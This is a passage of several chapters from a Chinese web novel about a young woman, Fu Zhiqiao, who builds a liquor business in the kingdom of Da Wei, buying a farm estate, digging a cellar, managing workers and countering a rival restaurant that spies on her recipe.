彭高飞忍不住咽了咽口水,这酒果然如传闻中一样,他到青州时傅知乔已经收摊了,因此他只听闻百姓们的议论,并未真正见过太白酒。 傅知乔笑问道:“我这太白酒能否入彭老板的法眼?” “啧啧,够劲儿!”彭高飞尝了一口,太白酒强烈的冲击感瞬间收服了他。 “稀世珍酿!”他毫不吝啬的夸赞,“彭某自出生以来,从未饮过此等佳酿。” 就算是京城最有名的酒庄也酿不出这样的酒,如此新奇的酒,要是把它拿到京城,必定会引来达官贵人的追捧。 想到这里,也更加坚定了他要买酒的决心。 两人商谈甚欢,彭高飞都以为这桩买卖板上钉钉订了,没想到傅知乔还是不卖酒给他。 傅知乔:“抱歉,太白酒暂时不售卖。” 彭高飞一愣:“啊?” “为何?”彭高飞想不通原因:“为何不售卖?” 见她始终都不松口卖酒,彭高飞不解,酿酒不可能只酿一两坛的,明明有酒为何不肯卖他? 傅知乔微笑道:“因为我们还没有酿出来。” 彭高飞:“……” “彭老板,这酒仅需要秘法才能酿制,因此时间未到不可随意卖出。” 物以稀为贵,随随便便就能买到的东西还会显得珍贵吗? 虽然暂时货物不足,但傅知乔不愿放弃这个大客户,沉吟片刻,“这样吧彭老板,酒铺开张时可为你备下一批酒,只不过你得先付定金。” 如果不提前预定的话,他不可能一次性买到两千斤酒。 酿 19. 建酒庄 《女商崛起》全本免费阅读 城外七八十里地有一处农庄,很符合傅知乔的需求。 匆匆赶路,两个时辰后才抵达农庄抬眼望去,远处的民宅层层叠叠,都是土砖房,几乎看不见破败的茅草屋。 文江看到傅知乔连忙迎了上来,他对庄子已经十分熟悉,边走边给她介绍农庄的情况。 农庄的原主人是个告老还乡的官员,他的儿子在隔壁县当了官,最近儿子升迁去外地当差,因为准备举家搬迁,所以才着急出手农庄。 整个农庄占地上百亩,加上荒山的话就有近千亩了。庄园里菜园、果林、水塘、牲畜棚应有尽有,此时秋收刚过,庄园大部分的农作物已经收割好。 农庄里有个两进的院子,院中铺设着青砖,附近还建了几个很大的库房,用来存放收获的粮食、果子的。 大库房好啊!她正缺大库房! 傅知乔仔细的观察着这大片农庄,心中思考着怎么才能利用好每一寸土地。 到院子外走了一圈,傅知乔越发满意,农庄的地理位置很不错,离官道大约十一二里路,马车出入方便,到时候运输酒能省不少的人力物力。 傅知乔当即拍板买下农庄。 此处远离主城,地价虽比不上城里,但也花了她三千多两银子才买下来,整个农庄、房子,田里的作物,包括一些不愿离开的仆人全都打包卖给她。 卖庄子的风声早就在村子里传遍了。 刘家村的村民们惊慌不已,卖掉庄子,那他们怎么办?新来的东家会不会苛待他们?还是没了地租他们可怎么活? 他们现在耕种的土地是东家的,村民们家里的那点私田根本养不活一大家子,为了获取更多粮食,村民自愿当了佃户,平日里帮东家种地耕田,以此来获取粮食和银子。 佃户与东家之间是依附关系,佃户们虽说是平民,严格来说他们更加偏向于半奴仆性质,他们对庄园主十分尊敬和畏惧,会无偿地为庄园主服一些劳役,如砍伐林木、看家护院、充当部曲等。 刘平谷是刘家村的村长,虽然相貌普通,但眉眼间有精明之相,他作为一村之长,村里的情况他再了解不过了。 傅知乔微笑问道:“今日请村长来,是有些情况想向你了解。” 看着眼前这个瘦瘦弱弱的小娘子,刘平谷有点不敢相信她就是自己的新东家,看到文江文山对她的态度很尊敬,他也不敢再多想,赶忙回答:“东家客气了,有什么话您尽管问。” “庄子里收成怎么样?” “回东家的话,良田亩收四百斤粮,中下田亩收两三百斤粮。” 傅知乔做的是酒生意,酿酒需要大量的粮食,总是在外头买划不来,现在自己有了地种些大米、高粱,那酿酒的原料就不用愁了。 傅知继续问乔:“庄子里可种了高粱。” 刘平谷迟疑了:“敢问东家,这高粱是何物?也是粮食吗?” 傅知乔:…… 刘平谷一个彻彻底底的农民居然不知道高粱是什么! 傅知乔震惊了,难道在大魏还没有高粱这种作物吗?还是青州地区没有种植而已? 高粱可是酿酒的绝佳原料! 傅知乔没想到,她的白酒事业刚刚起步就受到了严重的打击。 刘平谷半晌没听到傅知乔的声音,抬头见她愣神,小声询问道:“东家?” 傅知乔收敛心神,与刘平谷谈完话她了解到了更多村里的情况。 刘家村共有百来户人家,近两千多人,大部分都是农庄里的佃户。地主与佃户的地租是三七分的,地主拿七成,佃农拿三成,交给国家的赋税也是从佃农的三成里出。 每户人家都是按照男丁的数量分派田地的,耕种的地越多粮食就越多。像刘平谷自己,他家中男丁多,共租了耕地二十余亩,缴纳完租金和税后,他家每年还能分到近千斤的粮食。 知道农庄和刘家村的基本情况后,傅知乔心里也有数了。 “出来了!新东家出来了!”不知道是谁喊了一声。 围在院子外的村民们见到傅知乔出来后一拥而上,银杏和德福看到有人围过来,立刻将她护在身后,生怕这些人冲撞了自家小姐。 “拜见东家!”一群人见到高大的文江就行礼。 他们下意识把文江当成了新的农庄主人了。 “不不不!”文江急忙摇摇头,朝着傅知乔方向对他说:“姑娘才是咱们农庄的新东家。” 这…… 没想到新东家是个小姑娘。 村民们看向被拥护在中间的傅知乔,看清楚她的衣着打扮确实不一般,接着又看看她的脸色,然后村民们脸上都露出了紧张的神色,转头你看我我看你,眼里满是茫然和担忧。 怎么办?他们居然把东家给认错了,东家会不会一生气就不把地租给他们了? 面对要给她送礼的村民,傅知乔微笑着点了点头,没有说话。 看她的样子不像个凶恶的,村民们提起的心有些放下来了。 这时,有个老人提着一篮子鸡蛋说要送给她:“东家,这是大伙们凑的一点心意,您千万别嫌弃!” 傅知乔摆手拒绝:“老人家,我什么不缺,你快快把东西收回去吧!” 老人一听傅知乔不肯收这些东西,脸色顿时白了,站在他后面的佃户们也露出紧张的神色,小心翼翼的问:“那,东家,以后还租地给我们吗?” 傅知乔明白他们担心,佃户们担心庄园换了新主人后,会把土地租给新的佃户,这样的话他们这些庄子里的老佃户就得走人,这无异于断了他们的生路,所以才急匆匆的赶过来向她示好。 傅知乔使了个眼色。 文江轻咳了一声代表傅知乔发言,说庄子里的土地明年还租给他们,租金也不会往上涨,一切照旧。 村民们得到准确的消息后心都满意足了,大多数的农民都没有什么野心,他们能够吃饱穿暖、能钱赚养家,就已经觉得日子过得很不错了。 签约买卖契书,去官府里把田庄登记过户。 地是有了,怎么利用起来呢? 考虑的今后的发展,目前的酒庄已经支撑不起产量了,不如干脆建一个独立的酒庄,反正已经投入了这么多,目前扩大生产才是最紧要的。 建酒庄、酿酒都需要人,刘家村是个好选择。 刘平谷作为村长,这件事还由他牵头。 庄园与村民们单独再签一份做工的长合约,如果做不够年份就要赔偿,合同一旦签署就没有反悔的余地,傅知乔让刘平谷好好考虑一下。 不用考虑了,还考虑啥啊!傻子也能知道这绝对是件 20. 分配任务 《女商崛起》全本免费阅读 买铺子、买粮食、买庄子,现在又建酒庄,傅知乔手里的现银已所剩不多,要不是从傅明杰那里诈了两万两银子,她还真支撑不到现在。 傅知乔奔忙在两个酒庄之间,指点监督,处理各种事物,每日早出晚归,整个人忙的像陀螺一样,不过好在很多事情已经安排好的流程,可以陆续交到了下面人的手中。 高老头、德福、文江、文山四人已经是她手下的得力干将了。 傅知乔拉着几人开会,并让他们互相熟悉下,往后有什么事情就直接联系沟通。 “这里没有外人,你们不用那么拘谨,坐下说话吧。” 几人相互打过招呼。 “我现在把你们手头的事情分配一下……”傅知乔开始非常明确的给人分配工作。 “高师傅你全权负责酒庄里的生产,缺原材料就找德福,缺人手就去找文江,他们会配合你的,记住,酒的质量一定要抓好,不能有半点马虎!” “德福你暂时负责采买各种原料,配合其他人的工作,其余时间听我安排,往后酒铺开起来了你就去当掌柜,有事情直接汇报给我。” 闻言,德福愣住了,他没听错吧?姑娘让他让酒铺里的掌柜,他德福,居然也有当上掌柜的一天。 “怎么,你不愿意?”傅知乔注意到了德福愣神。 “不,愿意的,我愿意!”德福很快回神,见她如此信任自己,连忙弯腰向她行礼:“多谢姑娘看重!” “文江文山你们就负责酒庄管理,文江负责招工和人员管理,文山负责酒庄的巡逻和运送货物……” 傅知乔零零碎碎讲了一大堆,“还有,若是手底下有用着合适的人选,你们自行提拔即可,不必通过我。” 几人面面相觑,姑娘这是要放权给他们啊! “记住了?” “是!”三人点了点头,互相看了一眼后齐声回答。 “你们是我的左膀右臂,这些事物交给你们管理我一百个放心,以后遇到事情你们要学会自行处理,处理不了的再来找我,明白吗?” “姑娘,我们定不会辜负你的信任。” 尤其是文江文山,兄弟二人显得尤其激动。他们一路跟随着傅知乔从禹州来到青州,从当初的院门护卫升级为了酒庄管事,现在手底下管着上百号人。 这一切都是拜姑娘所赐,对傅知乔,他们是发自内心的感激和敬佩。 德福、文江、文山三人都是傅知乔从老宅里带出来的,他们跟在傅知乔身边这么久,早就适应了她的处事方法,一声令下,各自都去忙了。 “高师傅,现在酒的产量怎么样?” 高老头回答:“城内城外两个酒庄一起,估摸着一天能产七八百斤,要是着急,还可以再多点。”高老头全权负责生产,他每天都会统计产量。 傅知乔点头表示自己知道了,酒的销量她是不担心的,只要产量跟得上就行。 一天七八百斤酒算不上多,但也不算少,目前她的事业还是起步阶段,慢慢来,不着急。 高老头卖了大半辈子酒,生意最火爆的时候也不过一天卖出百斤左右,这段时间酒庄里酿的酒大约有近两万斤了,要是搁以前,想把这两万斤的酒给卖出去,啧啧!他想都不敢想。 跟了傅知乔做事后,他的眼界、格局彻底被打开了。 傅知乔的能力,高老头心里有数,立即给她保证:“东家,您放心!不管多少酒我都能酿出来!” 傅知乔心里盘算着,现在已经有两万斤酒的存货在手,接下来的生产工作还是恢复正常为好,不需要再加班加点酿酒了。 眼看一切都慢慢步入正轨,她终于有了喘口气的时间。 傅知乔踩着夕阳的尾巴回到了家里,一进正院就看到丫鬟小厮们进进出出的忙活个不停,桌上已经摆满了菜,余柔岚看着消瘦的傅知乔十分心疼,眼神带着埋怨,“你还知道回来?” 傅知乔撒娇:“娘,铺子里太忙了没注意到时辰,女儿下次一定注意。” 余柔岚摸了摸她的脸,嘴里直念叨:“瘦了!瘦了!” 想到女儿这两三个月的繁忙,余柔岚也就没在多说,立马吩咐厨房端来鸡汤,“这鸡汤用文火炖了两个时辰,快尝尝。” 傅知乔听话的接过鸡汤喝了一口,目光落在余柔岚那张温柔的笑脸上,她的心软成了一团。 家里时刻有人惦记的滋味可真好。 吃完饭,母女俩坐在一起闲聊,听到傅知乔又买了田庄,她有点不可置信,本以为女儿只是买个酒铺做个小生意,没想到已经发展到买地建酒庄了。 她不免有些担心:“这?这能行吗?” “您就安心吧!”说着就把地契拿出来给她看。 余柔岚看到地契后咋舌,“买了这么多地,你手里还有钱吗?娘这里还有一点钱你拿去用……” 傅知乔抱住余柔岚的胳膊,“不缺钱,铺子里已经赚到钱了。”接着她把自己在集市办喝酒挑战赛的事情跟她说了。 余柔岚震惊,没想到女儿真的有做生意的天赋。 “娘,现在铺子已经开始赚钱了,买地是为了更好的生活,再说了,实在不行还可以转手卖出去,您就别担心了!” 知道自己女儿是个有主意的,余柔岚当下也不再说什么了。 接着傅知乔又递过来一个册子,余柔岚一看是酒铺的账本,册子上记录着酒铺的各项花销。 “如今铺子里想招一个账房,一个月十两银子,不知道娘可有兴趣?” 让她管账?余柔岚再一次震惊。 傅知乔点头,账本肯定要捏在自己手里,目前酒铺里只有德福是她的心腹,其他人都属于待观察状态,铺子里还缺个靠谱的管账先生,正好可以把这个位置交给余柔岚。 自从搬到青州来,余柔岚在家里无所事事,给她找个管账的活计也免得她整日里胡思乱想。 余柔岚怀疑的看着傅知乔,显然有些心动,但她又有点不好意思,沉默了一会儿才道:“这样不太好吧?我能行吗?我一后宅妇人怎么能当……” “娘,你可以的!”傅知乔打断她。 “娘一个正儿八经的当家娘子,做个账房那是绰绰有余,我还觉得您屈才了呢。” 21. 挖酒窖 《女商崛起》全本免费阅读 书房里,傅知乔正在算账,这几月花的钱实在是太多了,她原先鼓鼓钱包现在几乎被掏空了。 “人数多少?工期需要多少时间?砖瓦木材需要多少?你把这些花销合计好,给我一个大概的数字。” 文江诧异的看了一眼傅知乔,眼里明晃晃的显露出“姑娘怎么懂得这些事”的疑问。他跟在姑娘身边有一段时间了,以前他守在外院从未接触过姑娘,对她的一切认知不过是在传言中,内心也曾犹豫过到底要不要忠心她,现在他能肯定地说,自己的选择没有错! “请姑娘放心!我回去整理成册子,过两日交给您。” “嗯,对了,记得要跟供应商签好合约。” 文江一头雾水,合约书他上次了解过了,这供应商又是何物? “呃……就是指卖给我们砖瓦那些人,别到时候房子建到一半,砖瓦提供不上。” 哦,跟着姑娘就是会学到新东西。 “没问题就开始动工吧!”对于文江文山两兄弟的能力,傅知乔是认可的。 一群人拿着铁锹、锄头,不断的挖着坑,没有现代化机械、仅靠人工、锄头、铲子挖取一个约两米高的大坑并不是件容易的事,好在人多力量大,人手不够就向邻村招工,大半月过去深坑已初具规模,相信再过两月酒窖就能彻底建好。 虽然文江会定时跟她汇报酒庄、酒窖的进度,但傅知乔还是会抽时间亲自视察。 如此忙忙碌碌的又过去了半个月,傅知乔带着德福和银杏两人来视察工况,她此行的目的是来看看酒窖建的怎么样了,因为高老头酿的酒已经快要没地方存放了,酒窖的建设必须要加快进度。 走到半路发现前方有人在吵架。 几个工人互相推搡着,周围还有拉架的人,场面十分混乱,傅知乔皱着眉没有上前,让德福去通知文江来处理,她身边只有银杏和德福,万一被这群激动的佃户误伤就不好了。 不一会,文江前来禀报吵闹的缘由。 原来是工人们做活时发生了争议,有的人勤勤恳恳,有的人懒懒散散说着闲话,最后拿的工钱却是一样的。 凭什么?有些工人看不下去,嫌弃懒散的人拖了进度抱怨了两句,结果两方人就这么打了起来。 偷懒的人是刘家村的刘大树,他刚来酒庄的时候也是勤勤恳恳的,后面发现没人管束就开始浑水摸鱼了,没想到会被其他村子的人指出来,面子上过不去就跟人打了起来。 因为是两个不同村子的人发生矛盾,还被东家亲眼看见了,消息很快传遍了整个庄园。 好巧不巧,刘大树的妻子袁金花是来给酒庄工人们做饭的人之一。 她听到消息后风风火火的赶过来,一把揪着刘大树的耳朵,“好你个刘大树,现在知道丢人了,你偷懒的时候怎么不觉着丢人呢?还好意思跟人打架,我们刘家村的脸都被你丢尽了!” 人群中有不少刘家村的人暗自点头,虽然同村的人要互帮互助,可这刘大树实在是拖后腿,干活偷懒被人抓到把柄,还连累整个村子的名声。 刘家村的人脸上无光呐! “嘶~金花,我错了,再也不敢了。”耳朵被揪住,刘大树连忙认错。 “走,跟我去向东家道歉。” 袁金花把刘大树拉倒文江面前才松开他的耳朵。 “文管事……” 刘大树露出生无可恋的表情,他是刘家村里出了名的怕婆娘,不过倒没什么人嘲笑他,只是调侃而已。 袁金花为人精明能干,娘家有三个兄弟撑腰,嫁到刘家村后生了一儿一女,腰杆子挺得直直的,到哪里都有底气。 文江了解事情的原委后,回来把经过一五一十地说给她听。 傅知乔听后哭笑不得。 妻管严?有点意思了!这种家庭情况在大魏倒是很少见,看来这袁金花确实是个有意思的人。 傅知乔欣赏袁金花的行事作风,能在这男尊女卑的时代把丈夫压制得死死的,想必不是个简单的人物,决定给刘大树一次机会,说念在他是初犯就不赶走他了,留他继续在这里干活,不过,分到他手里的都是些力气活,一点也不轻松。 文江出来通报了刘大树的处理结果。 袁金花和刘大树千恩万谢,表示自己一定会好好干活,不再偷懒了。 恩威并施,才能达到更好的效果。 经此一闹,会有无数双眼睛盯着刘大树,他自然不敢再偷懒,也能拿他的例子震一震那些有歪心思的人。 小插曲过后,傅知乔思考要将工人们重新洗牌,这次时间表面上是工人们的吵架,实则是暴露了酒庄在人员管理上的问题。 村民们大多是勤劳本分之人,但也有偷奸耍滑的人存在。 挖地、砍木、盖房,虽然每个人都分配了活,但有的活累有的轻,所以才会引起不满。这确实是疏忽了,人多不好管理,有必要整顿一番了,偷懒的风气一定要及时制止住。 傅知乔沉吟片刻,决定按劳分配。 重新安排活计其实就是把各个村子编了组,以村为组,把任务交给一个每个村的组长,有问题让他们自己内部解决,碰到无法解决的事情时再上报给管事。 文江牵头将所有人召集在一起,各个村子里的人三三两两地站在一堆,泾渭分明。 “诸位辛苦了!今天把大家召集到这里,是想重新分配一下活计。” 众人一听到要分配活计,瞬间七嘴八舌的议论起来了,还时不时地把目光投向刘大树,饶是刘大树脸皮再厚也经不住这么多的大量,脖子一缩躲在人群中不敢出声。 文江咳嗽了两声,人群很快安静下来,他才接着说:“从今天起,咱们以不同村来分组,组长负责管理自己的组员,自行分配活计,根据做活的轻重、难易来发工钱,多劳者会多发些工钱。” 这话一出,所有人都面面相觑。 说着,文江让人贴了一张做工分类表,需要手艺和力气的工钱多,一天最多有五十文,其次是挖地伐木的工人,剩下的就是些相对轻松些的活了。 勤快的人面露喜色,想摸懒的人则面色苍白。 “下面就是各村的组长,听到名字的上前来。”文江正念着组长的名字,每组组长都是各个村子里的有威信的,能镇住场子的人。 他意味深长地看了工人们一眼,"大家都听明白了吗?要是有不愿意干的去你们村的组长那里登记,今天结完工钱明日就不必再来了。"< 22. 被人盯上了 《女商崛起》全本免费阅读 大集过后,百姓们口口相传,太白酒在青州也算是掀起了一股风潮。 一开始傅知乔担心大魏百姓并不太能接受这种烈酒,因此没有进行多次蒸馏,最终保留在三十多度的样子,既保留住米酿的清冽又有直入肺腑的烈性。 在所有人都喝浊酒米酒的时代,太白酒的出现就像是在平静的湖水中扔进了一块大石头,溅起的水花牵动着所有青州酒铺的心。 其中最受影响的就是蓬莱居。 蓬莱居是一家在青州城里经营了十多年的老店,既卖酒也卖食物,是个综合性的酒楼,其中赚钱的大头是经营酒水。 给蓬莱居供酒的人是叫徐武,徐尚强是蓬莱居的老板,徐武是他的侄儿,他们两人合力一个开酒楼一个卖酒,做到了青州城第一酒楼的位置。 能够为整个青州城供酒,谁没点背景后台? 徐尚强的妹妹是青州司马方立诚的妻子,有了这一层关系,蓬莱居在青州可谓是黑白通吃,几乎垄断了城内的酒市场,在青州一家独大。 近日,来蓬莱居喝酒的客人偶尔也会谈论起太白酒,这引起了徐尚强的好奇心,一打听才知道,源头是高家酒铺。 高老头啊……不就是个小作坊,能掀起什么水花? 不过为了谨慎起见,徐尚强还是吩咐徐武:“这几日老是听人说起太白酒,你去查探看下是个什么情况?” 高家酒铺的牌匾已经撤下来了,铺子大门紧闭,里面不知道在干什么,唯一奇怪的是铺子大门旁边支了张桌子,还有专人守着,时不时有人上去说话。 徐武不明所以,在街口观察了两日后发现,去桌前问话的人都是买酒的。 为了进一步打探消息,他乔装打扮成买酒的人上去搭话:“掌柜的?太白酒是在这里买没错吧?” 宋大力是新招的伙计,负责在门口接待客人,这几日来问酒的人可不少,他一听徐武说的话就乐了,“没错,太白酒只有我家有卖!” “听人说这太白酒堪比琼浆玉液,真的有这么神奇?” 宋大力不说话,直接把旁边木柜上展示的的酒拿到他眼前,打开密封的油纸让徐武看一看、闻一闻。 用肢体语言告诉徐武:懒得跟你介绍了,自己看吧! 真有传言中的那么夸张吗? 徐武好奇的凑上去一看,他直接被酒的颜色惊艳到了,酒液透净且毫无浊物,香气霸道冲鼻,要不是有酒气他真当这坛子里装的是水了…… 他是内行人,只需一眼就能知道这酒的独特之处,传言不是假的,也不知这酒是如何酿出来的,看来伯父这次是遇到对手了。 看过,宋大力很快又把盖子盖上收了起来,他心中时刻谨记掌柜的吩咐:盖子千万要盖严实,不能让酒气跑了。 徐武收起心神继续打听:“果然是好酒啊!不知是哪位大师所酿?” 宋大力只当他是一心想买酒的客人,回答:“高师傅啊!你是不知道哇,咱们高师傅可是酿酒大师,世代传承……” 徐武哪能不知道高老头,高老头要是能酿出这样的好酒,还能活了大半辈子都籍籍无名? 假,太假了! 不想听这伙计的废话,徐武当即转移话题问道:“我从来没有见过这种酒,想买些回家尝尝。” 宋大力脸上的笑意扩大,乐呵呵道:“兄台识货,不过我们这太白酒暂时卖不了,要等铺子开张才行。” 徐武当然知道太白酒铺下月才开店,他假装遗憾:“怎么要等这么久?不知能否通融一下?” 宋大力摇摇头:“不行。” “那我出双倍的价钱呢?”徐武不死心的问着。 有钱你也买不到,除非是老板发话。 宋大力见徐武态度诚恳也打开了话匣子:“偷偷跟你说啊,城东的蒋老爷出百两想买一坛也买不到呢!我们的太白酒已经全卖出去了,没有多的卖给你了。” 徐武心头一震,店没开酒就卖出去了?城东蒋老爷花高价也想买这酒? 看徐武震惊的模样,宋大力有些得意:“哈哈!我们的太白酒可是紧俏货。” 听了宋大力这话,徐武轻轻叹了口气,“唉,那我肯定是买不到了。” 宋大力安慰他:“这位兄台,等酒铺开张那天你来找我,我保证给你留一坛。” * 打探到消息,徐武就回去跟徐尚强汇报了。 徐尚强听到太白酒短短几天就卖出去两千斤的消息,眼珠子都快瞪出来,“此事当真?” “当真!”徐武如实禀报,并未添油加醋。 好家伙,两千斤差不多是他们酒楼大半个月的量啊!仅仅凭借太白酒,店铺还未开就能卖出去两千斤酒。 着实让人眼红。 徐尚强心中计算一番,不过这还不是最重要,最致命的是城里的达官贵人们也注意到了太白酒,这个消息对于徐尚强来说是个很不好的信号。 徐武试探道:“那伙计说酒是高老头酿的,侄儿觉得,以高老头的酿酒水平恐怕不足以……”徐武顿了顿,看了下徐尚强的脸色,“太白酒铺的背后必定是有高人指点,听说高老头儿子欠了赌债正缺钱呢,从他嘴里应该能得到不少消息,要不……” 徐武压根就不信,高老头还能酿出这种好酒来。 高老头?高人指点? 徐尚强拧着眉头,脸色一下子变得难看起来。压下心中的不舒服,他很想知道,究竟是什么人敢跟蓬莱居作对,敢抢自己的生意。 徐武的意思很直白,打败对方最直接的办法就是把酿酒的人挖过来,或者把酿酒的方子抢过来。 不,还不够! 顿时,一个想法浮上心头…… 徐尚强对徐武小声叮嘱一番,又沉声道:“继续观察,小心行事,切勿打草惊蛇。” 徐武眼睛一亮:“还是您老手段高超,我马上去安排。” 另一边。 德福已经不再是一个小厮的身份,傅知乔让他留在铺子里做掌柜。 德福深知是姑娘看重他,因此每日都在酒庄里卖力工作,不敢懈怠。发现有鬼鬼祟祟的人在酒庄外转悠,探头探脑地朝里头张望,担心有人觊觎秘方,他立即将此事报告给了傅知乔。 酿酒、建酒庄同步进行,傅知乔这段时间忙得脚不沾地,没想到已经有人眼红她的酒方子了。 她立刻安排德福组织人手来了个守株待兔,逮到人拘起来关进了柴房,两天后,她又让伙计们假装看管不利把人放了回去。 傅知乔之所以没有选择报官,是因为她想要顺着这条藤找到背后之人。 为了防止卧底混入,傅知乔把酒铺所有人都筛查了一遍,找到高老头一问才知道,原来蓬莱居的人早就派人找高老头打听方子了,还要出大价钱买。 高老头也烦着呢,自己酿出了新奇的酒已经在城里传来,有不少人明里暗里向他打听,还有人要出钱买他的方子。 太白酒虽是经过他的手里酿出来的,但外面那那些人哪里会知道,酒根本不是他酿出来的呢。 高老头叹了一口气。 “东 23. 出窖 《女商崛起》全本免费阅读 一夜无梦,傅知乔醒来后神采奕奕,吃完早饭带着崔嬷嬷和银杏出了府。 崔嬷嬷是余柔岚点名要她带在身边的,傅知乔这几月一直在铺子庄园两头跑,人都瘦了一圈,余柔岚看在眼里疼在心里,觉得她年纪尚小还在长身体,有崔嬷嬷在一旁照顾也放心些。 自从余柔岚发了话之后,崔嬷嬷每天买各种补品变着法给她炖补汤,喝到傅知乔都腻了。 德福驾着马车载他们来到庄园,高老头、文山文江等人早就在酒窖外候着了。 今天是酒出窖日子。 傅知乔的心情激动又忐忑,这酒从六月酿到了十月,大半年的时间,现在到了验收成果的时候。 庄园里的酒庄建设好之后,傅知乔就把城里的酒庄转移过来合并在一起了,这样便于集中管理。城里的的酒坊则作为她的研发中心了,铺子里只有一种酒是不够的,她的野心远远不止于此。 院外有四五个护卫看守,院门上还有铁链锁着,护卫见傅知乔前来,匆忙行礼道:“东家安好”。 酒窖的钥匙一共有两把,一把在傅知乔手里,一把在文江手里,只用两把钥匙同时使用才能打开酒窖的大门。 护卫头领掏出火折子点亮一个烛台,率先进了门,傅知乔几人依次跟在他身后。 酒窖里很暗,文江点了几个人去把酒窖里的墙灯点燃,边走边高声吩咐道:“大伙儿千万要小心些,点火时注意不要碰其他的东西!” “是!” 被文山点中的几人脸上都带着几分自豪之色,因为酒窖有明文规定,平日里除了检查酒窖和巡逻的人,其他人是不允许进内的,能进来就代表了自己受到了主家的认可。 灯火逐渐亮了起来,进来酒窖后是一片空地,是用来中转货物的,再向前走几步就有一条直通地下的斜坡。 酒窖大半都在地底下,走下斜坡才算真正的进到了酒窖内部,进来后视线豁然开朗,一个巨大的、装满了酒坛的空间出现在众人眼前。 宽敞的酒窖里,一个个褐色的酒坛子整整齐齐排列着,个个都有半人那么高,或摆在架子上或放在地上,场面颇为壮观。 目光所及皆是酒坛。 “姑娘,这……嬷嬷我算是开了眼了!”崔嬷嬷嘴里念叨着,她常年在内宅,哪里见过这种场面,没想到短短几个月而已,姑娘的生意做得这般大,夫人知道了肯定能放心了。 就连高老头也是第一次看到这么多的酒坛摆在一起,忍住不发出惊叹之声。 傅知乔也是难掩激动之情,忙碌了大半年,投入了这么多银子,现在终于看到成果了。 酒窖区域是以方块状来划分的,不同时间酿的酒是不能混在一起的。 几人看看停停,走到了“一”字开头的藏酒区域,这里是第一批蒸馏出来的酒,已经窖藏了半年,今天要出货的就是这一批酒。 高老头在“一”区域找到一个小酒坛,和周围的高大的酒坛不一样,这个小酒坛混在其中显得格格不入。 与大酒坛不同,小坛酒是用于供奉酒神的。 开坛祭酒神,是大魏的风俗。 祭酒神的目的是祈求酒神赐予美酒,保佑人们酿出的每一坛都是好酒,是人们美好愿望的寄托。 傅知乔取了小酒坛来到外面。 摆酒台、净手、焚香…… 吉时已到,请酒神! 傅知乔作为东家,必须亲自供奉酒神,只见她手捧着粮食在酒神像前鞠躬三行礼,再把粮食放进酒台上的方鼎里,礼成,即可请来酒神。 高老头把小酒坛里的酒倒出来三碗,放在一旁候着了。 第一碗敬天地,将酒用力泼向天空,感恩大自然的馈赠。 第二碗敬酒神,双手将酒奉于酒神像前,表达酿酒人对酒神的崇敬。 第三碗敬酿酒人,把倒满酒的碗举过头顶,再用力摔碎,表达酿酒人认真酿造美酒的决心。 仪式完成,准备开坛! * 高壮的工人们已经在有序地搬运酒坛了,先把酒坛搬到平板推车上,然后再转移到单独的灌装房,灌装房门口有人接应着,一装一卸分工毫不马虎。 平板推车是傅知乔拉着好几个木匠研究了好几天才做出来,整个车身全部由木板制作,滚轮也做了加厚处理,承重力是相当不错。 酒窖地上铺着平整的石板,推车拉动起来十分顺滑,给工人们省了不少力气。 崔嬷嬷看到推车后恍然大悟,原来门口的斜坡是为了方便推车进出准备的。也不知道姑娘的脑子是怎么长的,怎么就这么聪明呢?崔嬷嬷满脸的自豪。 高老头看到平板推车后也丝毫没有觉得惊讶,反正傅知乔总能弄出一些新颖的东西,他早已见怪不怪了。 这么多酒一时半会也搬不完,文山文江两人在酒窖里监督着工人们搬运,傅知乔则去了灌装房。 几人又全部换上一身全白的罩衣。 酒在卖出去前还有一道工序,要把大酒坛里的酒灌装到统一的小酒坛里。 大酒坛已经全部按编号顺序摆好了,傅知乔让人核对好酒缸的编号,按次序一一抽检,确保批次无误。 关乎酒的品质,傅知乔很谨慎。 先用小刀刮开酒坛口上的蜂蜡层,抚去碎屑,然后解开绳子揭开纱布,再将盖在酒坛口的油纸揭开。 没了遮盖物,浓郁的酒香再也压制不住,在密闭的灌装房里澎湃涌出,人一走进去,酒气直冲天灵盖。 高老头吸了吸鼻子:“好香啊!”酿了这么多年的酒,他对酒是感知要比常人要更加敏锐些,光是闻着酒香就忍不住露出了满足之色。 傅知乔穿梭在这里检查了好一会,酒气熏得她脸色微微发红。 仅仅是嗅闻,就已经让她生出了两分的醉意! “姑娘,每一坛就都要检查吗?”德福疑问道,这么多酒缸,一一喝过去岂不是要喝醉。 “嗯!” 傅知乔点点头:“你们几个可别掉以轻心,记住,酒的品质是第一位,不容半点马虎!” 高老头听后若有所思,跟在傅知乔身边的日子越久就越能发现她的可贵之处,他相信,在傅知乔的领导之下,太白酒一定会成为大魏最好的酒。 德福取来几个瓷碗,傅知乔随机抽取一缸,从中舀出一勺酒分给众人尝尝味道。 所有人的视线都聚焦在她手上。 傅知乔左右手各拿一只杯子,在两个杯中来回倒酒观察,酒液清亮透明,泡沫度低,无浑浊浮物,酒液如同丝绸一般顺滑,挂杯均匀。 她对这批酒是满意的。 24. 水军下场 《女商崛起》全本免费阅读 离喝酒挑战赛已经过去了三月之久,太白酒的热度也下降了很多。 如今酒铺开张在即,她需要再添一把火。 怎么才能在让太白酒最短的时间里获得更多人的关注呢? 傅知乔铺开纸笔写下计划书,她不是个鲁莽的人,在决定做一件事情之前,她会缜密的思考,制定计划,然后再执行到底。 “城里有这么多的酒楼客栈,我们下一步的目标就是把太白酒卖给他们。” “可怎么把酒卖给他们呢?”德福有些担心,在青州他们无权无势,更没有直接接触酒楼的门道,贸贸然前去谈生意人家大门都不会让你进。 “这个你不用担心,我自有安排,让你找人都找好了吗?” “找好了。” 傅知乔嘴角上扬:“好戏就要上演了!” 她摆摆手,德福恭敬地领命下去了。 想要赚钱,没点胆量怎么行!傅知乔已经准备好大干一场了。 蓬莱居不是盯上了她的酿酒方子嘛,来而不往非礼也,既然蓬莱居想要她的方子,那么,她就去抢他的客人好了。 蓬莱居内,傅知乔身穿男装坐在角落里,点了一些酒楼里的特色菜慢慢吃着。 没过多久,两个商人模样打扮的男子进店,他们点了一桌子酒菜,嘴里还念叨着“这天气真冷,不如喝点酒暖暖身吧!” 只见蓝衫男子端起酒杯喝了一口,下一秒立刻吐了出来,皱着眉头大声呼喊:“小二!” 店小二快步跑过来:“客官,何事吩咐?” 蓝衫男子指了指酒杯,生气的拍了拍桌子,“你们酒楼里就用这种酒来招待我,当我付不起银子呢?” “快给小爷上好酒!要你们这最好的酒!”说完从胸口掏出一百两银票拍在桌子上。 